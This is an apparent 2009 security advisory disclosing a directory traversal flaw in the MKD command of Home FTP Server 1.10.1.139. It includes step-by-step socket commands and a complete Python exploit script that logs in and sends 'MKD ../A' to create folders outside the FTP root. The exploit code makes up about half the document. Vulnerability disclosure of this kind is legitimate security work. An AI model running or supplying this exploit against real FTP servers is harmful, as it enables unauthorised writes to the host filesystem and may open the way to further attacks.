Date of Discovery: 17-Nov-2009 Credits:zhangmc[at]mail.ustc.edu.cn Vendor: Ari Pikivirta http://downstairs.dnsalias.net/homeftpserver.html Affected: Home FTP Server 1.10.1.139 Earlier versions may also be affected Overview: Home FTP Server is an easy use FTP server Application. Directory Traversal Vulnerability exists in Home FTP Server that allows an authenticated user to create directories outside the FTP root directory, which may lead to other attacks. Details: Home FTP Server fails to sufficiently sanitize user-supplied input in 'MKD' command. An authenticated user could use command "MKD ../A" to create a folder named "A" outside the FTP root directory. If you could log on the server successfully, take the following steps to create directories outside the FTP root directory: 1.sock.connect((hostname, 21)) 2.sock.send("user %s\r\n" %username) 3.sock.send("pass %s\r\n" %passwd) 4.sock.send("MKD ../A\r\n") 5.sock.close() Severity: High Exploit example: #!/usr/bin/python import socket import sys def Usage(): print ("Usage: ./expl.py \n") print ("Example:./expl.py 192.168.48.183 anonymous anonymous\n") if len(sys.argv) <> 4: Usage() sys.exit(1) else: hostname=sys.argv[1] username=sys.argv[2] passwd=sys.argv[3] sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.connect((hostname, 21)) except: print ("Connection error!") sys.exit(1) r=sock.recv(1024) sock.send("user %s\r\n" %username) r=sock.recv(1024) sock.send("pass %s\r\n" %passwd) r=sock.recv(1024) sock.send("MKD ../A\r\n") sock.close() sys.exit(0);